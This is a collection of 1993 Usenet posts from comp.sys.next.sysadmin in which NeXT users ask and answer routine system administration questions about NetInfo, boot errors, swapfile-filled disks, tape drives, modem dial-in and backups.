Newsgroups: comp.sys.next.sysadmin From: rilluri@whitehouse.is.rpslmc.edu (Rekha Illuri) Subject: Root domain passwd Message-ID: <1993May20.232411.16454@rpslmc.edu> Sender: news@rpslmc.edu Organization: Rush-Presbyterian-St. Luke's Medical Center Date: Thu, 20 May 1993 23:24:11 GMT Hi all, I recently set up a clone netinfo server for the root domain in our network. The cloner server set up went OK, but ever since I've been having problems with the root domain password. I can't make changes to the root domain unless i am logged in as root on the master netinfo server. For example, if i try to add a new host using hostmanager ( logged into any other machine other than the master netinfo server) to the root domain, the authentication panel comes up , i type in the root domain password, it comes up with a user authentication error. I've used Netinfomanager and changed the root domain password , ( it sucessfully lets me do that on the master netinfo server), logged into another machine and tried to make changes to the root domain and it fails again. Every admin tool behaves the same way. 'User authentication Error'. It is a pain in the butt since, right now, i can add users, new hostnames, etc only logged in as root on the master netinfo server. Should i just recreate the root account in the root domain? What implications will that have? Also, should the uid and gid's of the local root account and the root domain root account be identical? Well, one suggestion from NeXT was to 'declone the server. My question is how do i 'declone' a server? The infamous SimpleNetworkStarter doesn't let me click on the ' Be a client...' button. I've removed the ./network value from the machine/clone server/serves property for the clone server. Is there a standard procedure to make a server a client? Any help is appreciated. Thanks -- Rekha Illuri Member of Technical Staff Advanced Technology Center, RPSLMC 1700 W. Van Buren, Suite 374 Mailbox TOB 008 Chicago, IL 60612 Office:(312)942-5117 ext 1566 Fax:(312)942-4062 email:rilluri@is.rpslmc.edu
Newsgroups: comp.sys.next.sysadmin From: mrothste@foraker.csc.calpoly.edu (Mont Rothstein) Subject: Re: crashing a NeXT, was 'Re: spurious DMA interrupts' Message-ID: <1993May20.233103.18153@rat.csc.calpoly.edu> Date: Thu, 20 May 93 23:31:03 GMT Organization: Cal Poly, SLO References: <1993May16.191445.1046@gamelan> In article <1993May16.191445.1046@gamelan> thf@zelator.in-berlin.de (Thomas Funke) writes: > In article <1surjb$p91@tamsun.tamu.edu> daugher@cs.tamu.edu(Walter C. > Daugherity) writes: > > > extremely heavy ethernet traffic (but that SHOULDN'T crash the system, should > > it?). Any clues? E-mail appreciated. > > > > Nothing should crash a NeXT. But the famous 'crashme' program, run as non-root > of course, does it in a few milliseconds. I read recentliy, at least on > NS/Intel it would take a few minutes. Did anybody try that ? One thing about NEXTSTEP is that sometimes what seems like a crash isn't a crash. The system has a tendency to get lost. Sometimes if you let it sit long enough ( sometimes multiple hours ) it will find itself again. Again it is often easier to just reboot :) -Mont NeXTmail OK :-) President CP-NUG (Cal Poly NeXT User Group, SLO) mrothste@data.acs.calpoly.edu
From: nico@imani.cam.org (Nicolas Dore) Newsgroups: comp.sys.next.sysadmin Subject: Re: Cube Drive Bays Message-ID: <1993May20.234153.1256@imani.cam.org> Date: 20 May 93 23:41:53 GMT References: <C7BvsD.Dy@choate.edu> Sender: nico@imani.cam.org In article <C7BvsD.Dy@choate.edu> chuckie@spock.choate.edu (Alec Peterson) writes: > I'm curious as to how many drive bays a NeXT cube has. If anyone knows, > please tell me, mail or post. > The Cube has space for 2 full-height devices, wich you can divise in 4 half-heights. However, first generetion Cubes had 2 "slots" (i.e. holes for screws), while newer had 3. Therefore, you could fit 2 half-heighter's and 1 full-heighter in newer Cubes. I have an old Cube and after checking it, I think you could use Mecano or something to fake a third "slot". Ciao > Thanks > > --- > ------------------------------------------------------------------------------- > |Alec H. Peterson |Choate Rosemary Hall |NeXT Mail: | > |E-mail:chuckie@choate.edu|P.O. Box 788 |chuckie@margaret.choate.edu | > |PGP v2.2 key available |Wallingford, Ct. 06492|Internet Address: | > |upon request. | |chuckie@choate.jvnc.net | > ------------------------------------------------------------------------------- Nicolas Dore
From: slv0y@cc.usu.edu Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin Subject: Strange boot problems, can't reboot cleanly Message-ID: <1993May21.004023.68246@cc.usu.edu> Date: 21 May 93 00:40:23 MDT Organization: Utah State University I am having some strange boot problems. When I boot in verbose mode I get the following odd messages: syslogd: unknown priority name " debug /usr/adm/auth.log":Inappropriate ioctl for device And later on I get: iocservd [154]: LoadConfig(): /usr/etc//usr/etc/iocservd.config, No such file or directory I was alerted that something might be wrong when my machine wouldn't boot. It I lock up for some reason and use cmd-cmd-~ and then r to reboot, nothing happens. The pointer disappears and the machine just sits there. It I try it again, it immediately reboots, doing a dirty shutdown and it has to go through all of the check disk stuff. If I use the /etc/reboot command it seems to reboot O.K. I can't power off cleanly either. Does any kind guru out there have any idea what is going on with my system? I just know that something tragic is going to happen one of these days if I don't get this taken care of. Any help would be greatly appreciated. John Z. slv0y@cc.usu.edu
From: Ruediger Popp <rpopp@ebigek01.ciw.uni-karlsruhe.de> Newsgroups: comp.sys.next.sysadmin Subject: No more room in kernel map? Date: 21 May 1993 08:29:34 GMT Organization: University of Karlsruhe, Germany Distribution: world Message-ID: <1ti3te$3st@nz12.rz.uni-karlsruhe.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Recently our server (040 Cube, NS3.0, 64MB, ND w. 16MB) crashes with the following error: <hostname> mach: panic: (Cpu 0) No more room in kernel map The error occurs at night in most cases, when nobody is logged in on the machine and all other machines on the net are down. Reboot causes a fsck, which finds large numbers of unreferenced files with size 0. Does anybody know this problem? --- ----------------------------------------------------------------- Ruediger Popp Engler-Bunte-Institute Dept. Chemistry and Technology of Gas, Oil and Coal University of Karlsruhe (TH) Richard-Willstaetter-Allee 5 W-7500 Karlsruhe 1 (01.07.93: 76128 Karlsruhe) Germany FAX : +49 721 69 30 19 E-MAIL: rpopp@ebigek01.ciw.uni-karlsruhe.de (NeXT-Mail preferred) -----------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: amon@Xenon.Stanford.EDU (Laurent Amon) Subject: Need help with DJ500 and djf_for_3.0 Message-ID: <amon.737979396@Xenon.Stanford.EDU> Keywords: help Sender: news@CSD-NewsHost.Stanford.EDU Organization: CS Department, Stanford University, California, USA Date: 21 May 93 10:16:36 GMT (Excuse me if you see this twice, the first post seems not to have left my main site) Hi folks, I just got access to a DJ500 and installed the djf_for_3.0 driver. Now, I don't have the specifs for the cable yet, so the DJ is on a PC and I'm simply using djf as a filter, and printing on the PC via frisbee network. I'm having problems printing PS files. Text files print all right, albeit in compressed characters. Unfortunately, I don't have a DJ documentation at hand, so I'll have to rely on the Net's goodwill. The Problem: NeXTstation , NS 3.0. PC (386SX, DOS 5.something) DJ500, European (A4) Printing ops are as follows: djf < t.ps > a.out mcopy a.out a: (using mtools, binary mode) go to the PC and print a:a.out Now, if t.ps were a text file, printing would be OK. As it is a PS file, only the first few pixel lines print correctly, and then the printer starts giving out garbage (strange characters, like a bitmap flow interpreted as text). The Question(s): 1/ Am I doing Anything wrong? 2/ Could a kind soul give me the cabling schema for the NeXT? 3/ Could somebody give me the correct settings (and maybe the meaning) of the DIP switches on the DJ? As I won't be able to put my hand on a DJ documentation for 15 days or so, any help will be appreciated. Thanks in advance, Lga. --- Laurent Amon | e-mail: amon@lix.polytechnique.fr | So far, the universe is winning. amon@cs.stanford.edu |
Newsgroups: comp.sys.next.sysadmin From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: Re: crashing a NeXT, was 'Re: spurious DMA interrupts' Message-ID: <1993May21.123136.5463@linus.mitre.org> Keywords: spurious DMA interrupts Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation References: <1993May16.191445.1046@gamelan> Date: Fri, 21 May 1993 12:31:36 GMT In article <1surjb$p91@tamsun.tamu.edu> daugher@cs.tamu.edu(Walter C. Daugherity) writes: > extremely heavy ethernet traffic (but that SHOULDN'T crash the system, should > it?). Any clues? E-mail appreciated. I didn't see your original post, but our experience with spurious DMA interrupts may help - we hooked up a slab to a Tbase10 network (twisted pair ethernet). A few days later, the slab would not boot, giving the "spurious DMA interrupts" errors. We replaced the slab, and the replacement slab had the same problem. The network people played with the network cable and configuration, which eliminated the problem. I believe the problem was caused by an ethernet short on the cable or in the closet. -- Jason D. Blue NeXT Network and Systems Administrator The MITRE Corporation, McLean, VA jblue@mitre.org (NeXT Mail Encouraged!)
Newsgroups: comp.sys.next.sysadmin From: engstrom@src.honeywell.com (Eric Engstrom) Subject: /bin/su sez: "No shell" - no workspace login problem Message-ID: <ENGSTROM.93May21094812@moriarty.src.honeywell.com> Originator: engstrom@moriarty.src.honeywell.com Sender: news@src.honeywell.com (News interface) Organization: Honeywell Systems & Research Center, Minneapolis, MN Date: Fri, 21 May 1993 15:48:12 GMT I'm tired of banging my head against the wall on this one, so perhaps someone out there can help me. A bit of history first: My system disk ( a Seagate 250 ) w/ 3.0 installed and working just great for months, began to become unbearably noisy. It was still under warranty, so I had it replaced w/ a new drive that had 3.0 pre-installed. Problem: After recovering /Local*, /Users, etc., and recovering partial netinfo, I have the two, I believe related, problems: - /bin/su <some-user-not-in-wheel-group> When I try to su to another user who is not in the wheel group (everybody on my machine except my-login and "root"), su says: "No shell". Note that if the user is in the wheel group (I added an arbitrary user and tried), everything is fine. What I have looked for/at or tried: - /etc/shells - has all the required info (i.e., /bin/csh is in it) - rebuild netinfo - copied from /usr/template/client/etc/netinfo some users then re-entered by hand. - permissions on csh - looks right, in comparison to my backup before this new drive. - Login window When logins are attempted, it validates the password, but after it tries to start the workspace, something fails and the login window returns Again, this only happens for users NOT in the wheel group. Am I forgetting some simple customization that I made long ago. Does anybody have ANY ideas - (I'll entertain anything, since none of my ideas seem to work) I actually have another problem, but I believe it is related: Mail to users is getting stuck in the sendmail queue. Sendmail -bp (/bin/mailq) says that the mail is "Deferred", but it doesn't tell me anything like it normally does (i.e., host down, can't resolve name, etc), in fact, it doesn't say anything; just "Deferred." I can send mail to myself (i.e., login: eric sends mail to eric), but mail from other users is "Deferred" (i.e., login: root sends mail to eric). Mail coming in from uucp gets through rmail and into sendmail, but again gets stuck in the queue as "Deferred". Any ideas? Eric p.s. please send mail to "engstrom@src.honeywell.com", as my NeXTMail address is hosed (as stated above) -- Eric Engstrom, Honeywell Systems & Research Center, Mpls, MN, USA engstrom@src.honeywell.com -or- NeXTMail: eric%basilisk@src.honeywell.com < I eat from the four food groups: Barley, Hops, Yeast, Water. >
From: jneher@darkwing.uoregon.edu (Jonathan Neher) Newsgroups: comp.sys.next.sysadmin Subject: xdm on NeXT Date: 21 May 1993 17:47:59 GMT Organization: University of Oregon Network Services Distribution: world Message-ID: <1tj4kf$35v@pith.uoregon.edu> Has anyone successfully configured xdm on a NeXT to accept logins from an NCD X terminal. We are running Coexist 3.0 (X11.R5) xdm on an NeXT with an empty Xservers file so that it won't try to manage the local display. We try to login via xdm from an NCD X-terminal and after we enter our username/passwd at xdm's login screen. We are blown out of the water. We've tried paring down the xdm Xsession file to ONLY: exec /usr/bin/X11/xterm but we still have the same results. X stuff works fine if we telnet to the NeXT and run xterms, mwm, etc. Any ideas would be appreciated. Thanks, Jonathan Neher -- Systems Programmer Office: 213 Computing Center Computing Center Internet: jneher@darkwing.uoregon.edu University of Oregon Voice: (503) 346-1731 Eugene, OR 97403-1212 Amateur Radio: N7WNX
Newsgroups: comp.sys.next.sysadmin From: tpg@rchland.vnet.ibm.com (Terry Gliedt) Subject: Backup philosophy Sender: news@rchland.ibm.com Message-ID: <1993May21.194943.33908@rchland.ibm.com> Date: Fri, 21 May 1993 19:49:43 GMT Disclaimer: This posting represents the poster's views, not necessarily those of IBM Organization: IBM Rochester I'd like to solicit opinions from you all about an approach I have taken for administration of my workstation. This is rather long, but I hope worthwhile for some of you. INTRODUCTION This is a stand-alone machine so the approach does not reflect choices one might make in a network-ed environment. The important hardware involved is NeXTstation (mono, 20MB) 105MB internal drive (/dev/sd1a) 600MB external drive (/dev/sd0a) external tape drive (/dev/sd2a) As an operational note I should tell you that the device as sd2a gets switched around depending on my needs. Usually this is a NeXT CDROM drive, but when I need to do backups I swap to a tape drive. WHAT IS WHERE sd0a (600MB external drive) is my boot/swap device. I installed 3.0 (correctly, Mr. Mahoney :-)) from the CDROM. I have only created the following directories for MY data: /LocalApps /LocalLibrary /2.1 (in the hopes Icon from my 2.1 system might work) /usr/local /u All uids that I created have their home directory on /u (e.g. /u/tpg) and /u is a symbolic link to /MyDisk/u on my 105MB internal drive (sd1a). Obviously I assume /u/tpg < 105MB (usually hangs around 60-80MB). Big things I want to keep (fonts, images, sounds) go into /LocalLibrary after I decide I want to keep them. PHILOSOPHY One primary goal is that all user data is on one isolated disk. This is not for performance, but for safety. Of course this assumes it all fits :-). Another primary goal is that all data of mine resides solely in directories I have created (i.e. /LocalLibrary, /LocalApps, /u, /usr/local etc). This reduces the directories that need backing up. I never directly modify files on the system as installed from NeXT. If/when I need to modify a NeXT-owned file (even with a file like /etc/rc.local that the installation is supposed to modify), I do the following (using /etc/rc.local as an example): mv /etc/rc.local /etc/rc.local.orig ln -s /usr/local/lib/etc.rc.local /etc/rc.local cp /etc/rc.local.orig /usr/local/lib/etc.rc.local Modilfy etc.rc.local as required In addition I seldom do anything by logging in as root. My regular tpg uid, is a conventional user. In order to allow installation by tpg, I have made most non-NeXT directories owned by tpg. To make things easier I have a magic club in the form of a 'root' command that allows me to issue single commands with root authority. I am real careful when I enter commands with this. Conventional maintenance is done under root as needed (creating uids etc). One 'trick' I used was to make the Receipts directory owned by tpg. Thus when I install normal Apps, the receipt files can get updated by tpg. The Receipt file names are also saved in /usr/local/lib so I know what packages I need to re-fetch and re-install. BACKUPS I have a shell which copies "important NeXT data" to the directory /usr/local/lib/system. In this file is copied various root-owned files (/.NeXT, /.login, /.cshrc etc) and the like - files that are dynamic/changing and I would rather not lose. But losing them would not keep me down. In addition the shell runs nidump for everything that is important (e.g. nidump passwd .) and simply keeps this in a flat file. Again the idea here is to copy all system-important data to a directory that I will backup. Backups are done with gnu-tar (not compressed) to tapes. If sd0a dies, I can get a basic system back together by booting from floppy and using the CDROM. Once that is back, then I can restore my two small backup tapes (/u on one, everything else on the second). Everything I need to put things back together is in /usr/local/lib. I will accept a manual process of putting the system back together. CONCLUSION AND QUESTIONS So that's the way I have things put together. Its been tested - twice (once intentional, once not). All I can say is that it works. In fact I have even put a few shells in /usr/local/lib that I can execute to semi-automate steps like the (mv, ln -s shown above) and chown-ing the proper directories. I have not tried to automate niloads, but even that can be done. So what do you think ? This is disaster recovery planning. I know I can get back to my last backup if I need it (with some work). Any suggestions on a better way to work? I think this scheme is expandable and pretty natural for networked machines. When I get mail, Fax etc I think it will all pretty well fit in this scheme. Am I correct? Thanks for your time. Terry Gliedt tpg@rchland.vnet.ibm.com
Newsgroups: comp.sys.next.sysadmin From: bobcook@slac.stanford.edu (Bob Cook) Subject: What is "Exception #3" during boot? Message-ID: <C7E7n7.FtD@unixhub.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center Date: Fri, 21 May 1993 20:01:54 GMT The following occurs on a Station running 3.0 with 20 MB memory and a 105 MB hard disk. Very soon after Power on, the "verbose" message window appears. Its only contents are: Exception #3 (0xc) at 0x10002aa NeXT> What does this mean? I have never seen it before on this (or other similar) machines. If one issues the "b" command after the halt, the machine boots fine and seems to run fine. I've tried to find info about it with Digital Librarian in the extended version docs, NeXTanswers, and the NeXT FAQ but have been unsuccessful. I'd appreciate any help. Thanks. -- Bob Cook bobcook@slac.stanford.edu Stanford Linear Accelerator Center NeXT mail okay
From: tim@apple.com (Tim Olson) Newsgroups: comp.sys.next.sysadmin Subject: Re: What is "Exception #3" during boot? Followup-To: comp.sys.next.sysadmin Date: 21 May 1993 22:27:40 GMT Organization: Apple Computer, Inc. / Somerset Distribution: world Message-ID: <tim-210593172524@129.38.222.43> References: <C7E7n7.FtD@unixhub.SLAC.Stanford.EDU> In article <C7E7n7.FtD@unixhub.SLAC.Stanford.EDU>, bobcook@slac.stanford.edu (Bob Cook) wrote: > > The following occurs on a Station running 3.0 with 20 MB memory and a 105 MB > > hard disk. Very soon after Power on, the "verbose" message window appears. Its only contents are: > > Exception #3 (0xc) at 0x10002aa > NeXT> > > What does this mean? I have never seen it before on this (or other similar) machines. If one issues the "b" command after the halt, the machine boots fine and seems to run fine. Exception 3 is the 68040 "Address Error" exception vector. It is invoked whenever the processor detects a branch to an odd (as in "not even", not as in "weird" ;-) address. As to why this is occuring in your system, you've got me. Have you checked your boot preferences to make sure you have the correct boot parameters? -- Tim Olson Apple Computer Inc. / Somerset
Newsgroups: comp.sys.next.sysadmin From: cpl1@kimbark.uchicago.edu (Corey Liss) Subject: using networked Apple printers Message-ID: <1993May21.232529.18945@midway.uchicago.edu> Sender: news@uchinews.uchicago.edu (News System) Organization: Academic and Pulic Computing Date: Fri, 21 May 1993 23:25:29 GMT OK, I've totally frustrated myself on this one, and I can't seem to find any useful FAQ documentation on this in the sonata or orst archives, so I'm tossing it out to the world at large to get ridiculed... :) Basically: The site we're running has a number of Apple LaserWriters (IIGs and IINTXs) hooked into an EtherTalk network, being run from central servers/ print spoolers via AppleTalk. We've also got a number of NeXTs running over the same ethernet network. I'm trying to get the NeXTs to recognize the Apple LaserWriters. The problem I'm running into is that NetInfo seems to either assume a printer directly connected to a NeXT via a serial connection, or else connected to a server which it can communicate with as a unix box (i.e. not a mac running some variation on AppleTalk). I can't figure out how to get it to send jobs over the ethernet to the macintosh print spoolers... I'm guessing that it has something to do with the Comm value in /Local/printers/[printername] in NetInfo, but I'm not sure what to change it *to*... Can anyone point me in the right direction on how to handle this?... thanks... -Corey Liss cpl1@midway.uchicago.edu
Newsgroups: comp.sys.next.sysadmin Subject: Re: crashing a NeXT, was 'Re: spurious DMA interrupts' Message-ID: <SCOTT.93May21223715@nic.gac.edu> From: scott@nic.gac.edu (Scott Hess) Date: 21 May 93 22:37:15 References: <1surjb$p91@tamsun.tamu.edu> <1993May16.191445.1046@gamelan> Organization: Is a sign of weakness In-reply-to: thf@zelator.in-berlin.de's message of Sun, 16 May 1993 19:14:45 GMT In article <1993May16.191445.1046@gamelan>, thf@zelator.in-berlin.de (Thomas Funke) writes: >Nothing should crash a NeXT. But the famous 'crashme' program, run >as non-root of course, does it in a few milliseconds. I read >recentliy, at least on NS/Intel it would take a few minutes. Did >anybody try that ? It probably takes minutes under NS/Intel because it takes that long to swap everything available in and out of memory. [No, I've not been impressed by NS/Intel's swapping speed. At least I _hope_ that that's what was slowing things down ...] Later, -- scott hess <shess@ssesco.com> <To the BatCube, Robin> 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware From: ali@elm.uucp (Ali Sidani) Subject: Help!! File System FULL Message-ID: <1993May22.162821.7977@cs.ucf.edu> Sender: news@cs.ucf.edu (News system) Organization: Intelligent Simulation and Training Systems Date: Sat, 22 May 1993 16:28:21 GMT Hi, I have a NeXTStation 8/200 with NS 3.0. I was running some programs and it hanged. I tried to reboot then after the checking disk said "File system clean", it gave the following error. /: File system full IO error on pageout: error = 28 vnode_pageout: failed! How can I correct this problem? I need to delete some files on the system, but how can I get access to the harddisk? Your assistance is greatly appreciated. Please reply ASAP :-( thanks ali
From: alex@cs.umd.edu (Alex Blakemore) Newsgroups: comp.sys.next.sysadmin Subject: any reason to keep netinfo master at 2.0 when most clients at 3.0? Message-ID: <67851@mimsy.umd.edu> Date: 22 May 93 16:41:22 GMT Sender: news@mimsy.umd.edu Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 is there any reason to keep the netinfo master at 2.0 when most or all clients are at 3.0? I was under the impression that netinfo 3.0 had better performance is that true. Its possible that this machine was left at 2.1 because somebody was being conservative. Or is there some bad bug/performance hit or other reason not to upgrade the master? -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted -------------------------------------------------------------- "Without an engaged and motivated human being at the keyboard, the computer is just another dumb box." William Raspberry
Newsgroups: comp.sys.next.sysadmin From: yf5990@u.cc.utah.edu (Yan Fang) Subject: Configuring dialins to slab with SupraFAXmodem Message-ID: <1993May22.184403.20704@fcom.cc.utah.edu> Sender: news@fcom.cc.utah.edu Organization: University of Utah Computer Center Student Mail Machine Date: Sat, 22 May 93 18:44:03 GMT Hi there. I had a second line installed at the house last week and I've had no success configuring the Supra attached to it for dialin. I'd like to get it working this weekend so I can dial in from the Expo and check my mail. I have an idea that someone could mail me his or her working /etc/ttys and /etc/gettytab or could send me email or post a suggestion or two. I've tried every possible permutation of parity and carrier and terminal speed there is. I've had the getty run on ttyda and ttydfa, both with identical results. Here are the pertinent contents of /etc/ttys and /etc/gettytab: .../etc/ttys ttya "/usr/etc/getty std.9600" unknown off secure ttyb "/usr/etc/getty std.9600" unknown off secure ttyfa "/usr/etc/getty std.19200" unknown off ttyfb "/usr/etc/getty std.9600" unknown off secure ttyda "/usr/etc/getty D19200" unknown off ttydb "/usr/etc/getty D9600" unknown off ttydfa "/usr/etc/getty D38400" dialup on ttydfb "/usr/etc/getty D9600" unknown off .../etc/gettytab default:\ :ap:im=\r\n\r\n\r\nSalt Lake area NeXT Group\r\nNeXT Mach (%h) (%t)\r\n\r\r\n\r:\ :er=\177:kl=^U:in=^C:lm=\r\n%h login\72 :sp#9600: [munch] std.38400|38400-baud:\ :ap:sp#38400: D38400:ap:nx=D9600:tc=38400-baud: I've also set up my Supra to autoanswer. I had explicitly set it to hang up the modem when DTR is off, and to set DCD when it senses a modem carrier. That produced garbage when I connected to my polling sites, so I took it out. Here are the current modem settings: quux Any DIR 38400 cufa \ ABORT BUSY \ ABORT NO_CARRIER \ ABORT NO_DIALTONE \ "" AT&F1&K3S0=1S11=55S95=255 \ "" ATM0DTxxxyyyy \ in:--in: Ufoo \ word: bar Here are the modem settings that produced garbage when I polled a remote site: quux Any DIR 38400 cufa \ ABORT BUSY \ ABORT NO_CARRIER \ ABORT NO_DIALTONE \ "" AT&F1&K3&D0&Q1S0=1S11=55S95=255 \ "" ATM0DTxxxyyyy \ in:--in: Ufoo \ word: bar I haven't saved the settings, but since my machine polls quux every hour it should reset properly every time. If you have some time on your hands before the Expo maybe you could email or post some suggestions. It'd sure be nice to be able to dial into my machine from my hotel room and check mail. The user group members are quite anxious to receive mail and news as well. Hell, call me at home at 801.355.6351 if you so wish. Kris Magnusson -- Yan-Fang Magnusson <yf5990@u.cc.utah.edu> Nuclear-powered philosophy student <Give me $20 or kill me>
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware From: karthy@dannug.dk (Karsten Thygesen) Subject: Re: Help!! File System FULL In-Reply-To: ali@elm.uucp's message of Sat, 22 May 1993 16:28:21 GMT Message-ID: <KARTHY.93May22204008@dannug.dannug.dk> Sender: news@dannug.dk (Usenet news owner) Organization: Dannug - Danish NeXT Users Group References: <1993May22.162821.7977@cs.ucf.edu> Date: Sat, 22 May 1993 19:40:08 GMT >>>>> On Sat, 22 May 1993 16:28:21 GMT, ali@elm.uucp (Ali Sidani) said: Ali> Hi, Ali> I have a NeXTStation 8/200 with NS 3.0. I was running some programs Ali> and it hanged. I tried to reboot then after the checking disk said Ali> "File system clean", it gave the following error. Ali> /: File system full Ali> IO error on pageout: error = 28 Ali> vnode_pageout: failed! Ali> How can I correct this problem? I need to delete some files on the system, Ali> but how can I get access to the harddisk? Ali> Your assistance is greatly appreciated. Ali> Please reply ASAP :-( You has been offer to the usual problem. The swapfile has grown beyond bounds and filled the harddisk to mush. There is only one thing to do: boot from another device like CD, floppy or borrow another harddisk, then remove the swapfile (/private/vm/swapfile) and reboot. To ensure that it will not happen again, you can install a highwater mark in /etc/swaptab - take a look at the manual page. Good luck, Karsten.
Newsgroups: comp.sys.next.sysadmin From: neil@ms.uky.edu (Neil Greene) Subject: Unmounting / failing Message-ID: <C7G69v.1zr@ms.uky.edu> Keywords: reboot, unmount Organization: Kentucky NeXT User Group, Inc. Date: Sat, 22 May 1993 21:27:30 GMT I have been having problems with my system fschking everytime after a proper shutdown. Looking in the log of critical system messages, I found that the / partition is not being unmounted for some reason. Any ideas why this system may be failing an unmount?? Could it be because it is the server and another machine is not letting go of the filesystem? Or, is the problem local?? Here is what I found in /usr/adm/critical_log: > May 17 12:39:39 deepthought mach: Killing all processes > May 17 12:39:39 deepthought mach: continuing > May 17 12:39:39 deepthought mach: unmounting /s2 ... done > May 17 12:39:39 deepthought mach: unmounting /s1 ... done > May 17 12:39:39 deepthought mach: Root unmount FAILED > May 17 12:39:39 deepthought mach: 3 3 2 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 > rebooting Mach... reboot continues sussessfully.
Newsgroups: comp.sys.next.sysadmin From: herring@iesd.auc.dk (B. Erickson Herring) Subject: Re: crashing a NeXT, was 'Re: spurious DMA interrupts' In-Reply-To: scott@nic.gac.edu's message of 21 May 93 22:37:15 Message-ID: <HERRING.93May23003045@fermat.iesd.auc.dk> Sender: news@iesd.auc.dk (UseNet News) Organization: Mathematics and Computer Science, Aalborg University References: <1surjb$p91@tamsun.tamu.edu> <1993May16.191445.1046@gamelan> <SCOTT.93May21223715@nic.gac.edu> Date: 22 May 1993 23:30:45 GMT >Nothing should crash a NeXT. But the famous 'crashme' program, run >as non-root of course, does it in a few milliseconds. I read >recentliy, at least on NS/Intel it would take a few minutes. Did >anybody try that ? Just as good, and just as reliable (on an '040 cube running 3.0) is to insert a Linux boot diskette in the built-in floppy drive. Panic, system going down on signal 15, failed unmounting root file system 2 2 2 2 2 2 ... Very ugly. -- ----- Erick Herring | Computation is the art of carefully throwing H Data, Aalborg | away information [and] Life is the art of UNIX Consulting | carefully throwing away opportunities, an SysAdmin & Programming | interesting coincidental parallel. herring@iesd.auc.dk | - Guy L. Steele Jr.
From: glenn@rightbrain.com (Glenn Reid) Newsgroups: comp.sys.next.sysadmin Subject: Re: Help!! File System FULL Message-ID: <1220@rtbrain.rightbrain.com> Date: 23 May 93 04:01:04 GMT References: <KARTHY.93May22204008@dannug.dannug.dk> Sender: glenn@rightbrain.com Karsten Thygesen writes > You has been offer to the usual problem. The swapfile has grown > beyond bounds and filled the harddisk to mush. There is only one thing > to do: boot from another device like CD, floppy or borrow another > harddisk, then remove the swapfile (/private/vm/swapfile) and reboot. I think this is bad advice, and also I don't think this was the problem that the original poster has. First of all, the swap file is automatically reset to its default size when you reboot. If the swap file were the problem, it would fix itself. If another runaway process or something fills up the disk, you have a different problem. I would boot single-user and look around on the disk for something to delete. To boot single-user, read the Sysadmin manual carefully, then do this: * When the machine starts to power up, after the Testing phase, hit Command-Command-` (on the numeric key pad). * Type "mon" to get to the monitor * Type "bsd -s" to boot single-user This will give you a Unix shell and nothing else in the way of interface, so you have to know what you're doing. -- Glenn Reid NeXTmail: glenn@rightbrain.com RightBrain Software 415-326-2974 (NeXTfax 326-2977) Palo Alto, California Electronic Frontier Foundation, member #054
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: Really strange Open Sesame fault Date: 23 May 1993 07:22:47 +0100 Organization: me organized? That's a joke! Distribution: world Message-ID: <1tn57n$258@steffi.demon.co.uk> Before I went to bed last night I ran open sesame with Mail.app. IE. I ran Mail.app as root whilst logged in to the robert account. This morning I found that NeXTMail.app has gotten all mail from /usr/spool/mail/robert and put it in root's active mailbox. This is most strange. -- Real programmers don't create classes, they build hierarchies. (me) "If it doesn't compile and run emacs, it's not a computer." (Erik C. Sowa)
Newsgroups: comp.sys.next.sysadmin From: joe@FreemanSoft.com (Joe Freeman) Subject: DAT drives Message-ID: <1993May22.234145.322@FreemanSoft.com> Keywords: problem, is it block size Sender: jfreeman@FreemanSoft.com Organization: FreemanSoft Inc. Distribution: usa Date: Sat, 22 May 1993 23:41:45 GMT I just got a new DAT drive for backup purposes and ran dump against it to build my first backup. Now, after rebooting I want to play some more with the device. But, I get the following error whenever I try and read from the device (with a tape in) st: cmd = 0x8 sr_io_status = 2H Sense key = 0x0 Sense Code = 0x0 I guess the question, is "Does this drive have to run in fixed block size like some of the QIC drives" Also, has anyone else used a WangDAT drive on a NS before. Thanks, -- Joe Freeman FreemanSoft Inc. Joe@FreemanSoft.com 919.783.7033
Control: cancel <1993May23.013653.28396@ecsvax.uncecs.edu> Newsgroups: comp.sys.next.sysadmin From: jfreem@uncecs.edu (Joe Freeman) Subject: cmsg cancel <1993May23.013653.28396@ecsvax.uncecs.edu> Message-ID: <1993May23.054605.5276@ecsvax.uncecs.edu> Sender: jfreem@ecsvax.uncecs.edu (Joe Freeman) Organization: UNC Educational Computing Service References: <1993May23.013653.28396@ecsvax.uncecs.edu> Distribution: usa Date: Sun, 23 May 1993 05:46:05 GMT <1993May23.013653.28396@ecsvax.uncecs.edu> was cancelled from within rn. -- Joe Freeman joe@FreemanSoft.com (919).783.7033 The opinions espressed here are my own and are not shared by my former employer.
Newsgroups: comp.sys.next.sysadmin From: jfreem@ecsvax.uncecs.edu (Joe Freeman) Subject: Re: DAT drives Message-ID: <1993May23.054859.5370@ecsvax.uncecs.edu> Keywords: problem, is it block size Organization: UNC Educational Computing Service References: <1993May22.234145.322@FreemanSoft.com> Distribution: usa Date: Sun, 23 May 1993 05:48:59 GMT I'm answering my own posting, sort of. Of course using a different account makes it look like someone else gave the answer. It appears that I needed to set the SCSI command set switch to SCSI-1 and then use the fixed block program (fblock in this case). Now the question is: 1) What is a good block size for a fixed block driver for a DAT drive? I tried 512 bytes and that seems to work fine for tar and dump. But, the 1024 char pathname version of tar croaks on that block size. Any comments? In article <1993May22.234145.322@FreemanSoft.com> joe@FreemanSoft.com writes: > > >I just got a new DAT drive for backup purposes and ran dump against it to >build my first backup. Now, after rebooting I want to play some more with >the device. But, I get the following error whenever I try and read from >the device (with a tape in) > >st: cmd = 0x8 sr_io_status = 2H > Sense key = 0x0 Sense Code = 0x0 